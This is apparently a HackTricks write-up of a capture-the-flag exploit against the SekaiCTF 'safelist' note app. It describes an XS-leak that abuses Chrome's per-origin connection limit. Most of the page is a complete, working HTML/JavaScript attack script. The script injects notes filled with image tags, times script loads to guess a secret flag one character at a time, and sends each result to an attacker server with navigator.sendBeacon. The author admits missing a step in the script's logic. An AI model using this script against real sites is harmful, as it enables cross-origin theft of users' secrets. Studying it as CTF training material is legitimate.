Connection Pool by Destination Example

Reading time: 3 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

In this exploit, @terjanq proposes yet another solution for the challenged mentioned in the following page:

Connection Pool by Destination Example

Let's see how this exploit work:

  • The attacker will inject a note with as many <img tags loading /js/purify.js as possible (more than 6 to block the origin).
  • Then, the attacker will remove the note with index 1.
  • Then, the attacker will [make the bot access the page with the reminding note] and will send a request to victim.com/js/purify.js that he will time.
    • If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.

note

Tbh, reading the script I missed some part where the attacker makes the bot load the page to trigger the img tags, I don't see anything like that in the code

html
<html> <head> <script> const SITE_URL = "https://safelist.ctf.sekai.team/" const PING_URL = "https://myserver" function timeScript() { return new Promise((resolve) => { var x = document.createElement("script") x.src = "https://safelist.ctf.sekai.team/js/purify.js?" + Math.random() var start = Date.now() x.onerror = () => { console.log(`Time: ${Date.now() - start}`) //Time request resolve(Date.now() - start) x.remove() } document.body.appendChild(x) }) } add_note = async (note) => { let x = document.createElement("form") x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input") i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement("form") x.action = SITE_URL + "remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input") i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = "zyxwvutsrqponmlkjihgfedcba_" var prefix = "SEKAI{xsleakyay" const TIMEOUT = 500 async function checkLetter(letter) { // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)) .map((e, i) => `<img/src=/js/purify.js?${i}>`) .join("") await add_note(payload) await sleep(TIMEOUT) await timeScript() await remove_note(1) //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT) const time = await timeScript() //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter, time]) if (time > 100) { return 1 } return 0 } window.onload = async () => { navigator.sendBeacon(PING_URL, "start") // doesnt work because we are removing flag after success. // while(1){ for (const letter of alphabet) { if (await checkLetter(letter)) { prefix += letter navigator.sendBeacon(PING_URL, prefix) break } } // } } </script> </head> <body></body> </html>

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks